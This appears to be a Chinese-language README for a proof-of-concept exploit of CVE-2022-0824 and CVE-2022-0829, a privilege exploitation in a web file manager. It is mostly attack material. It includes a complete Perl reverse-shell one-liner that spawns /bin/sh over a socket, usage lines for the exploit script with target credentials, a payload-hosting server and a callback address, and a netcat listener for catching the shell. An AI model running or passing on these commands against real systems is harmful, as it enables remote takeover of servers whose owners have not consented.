CVE-2022-0824, CVE-2022-0829 - 文件管理器权限利用
用于测试此PoC的易受攻击应用程序可在此处找到：here，以Docker镜像形式提供。
前提条件：
perl -e 'use Socket;$i="0.0.0.0";$p=1111;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
$ python3 cve-2022-0824.py --help
usage: cve-2022-0824.py [-h] --host HOST --user USER --password PASSWORD
--Python_server PYTHON_SERVER --callback_url
CALLBACK_URL [--proxy PROXY]
optional arguments:
-h, --help show this help message and exit
--host HOST Host url(complete)
--user USER Username
--password PASSWORD Password
--Python_server PYTHON_SERVER
Python httpServer with port
--callback_url CALLBACK_URL
Callback ip and port
--proxy PROXY Proxy details
$ python3 cve-2022-0824.py --host [Target_url] --user [Username] --password[Password] --Python_server [Filehosting Server Information] ----callback_url [<ip>:<port> for reverse shell connections] --proxy [Proxy server details - optional]
$ python3 cve-2022-0824.py --host http://localhost:10000 --user usr --password usr --Python_server 192.168.43.228:9999 --callback_url 192.168.43.228:1234 --proxy http://127.0.0.1:8080
用户名和密码用于安全用户（非特权用户） 在运行脚本前设置监听器以获取反向Shell连接。
$ nc -lvp <port>
感谢@faisalfs10x提供的利用程序。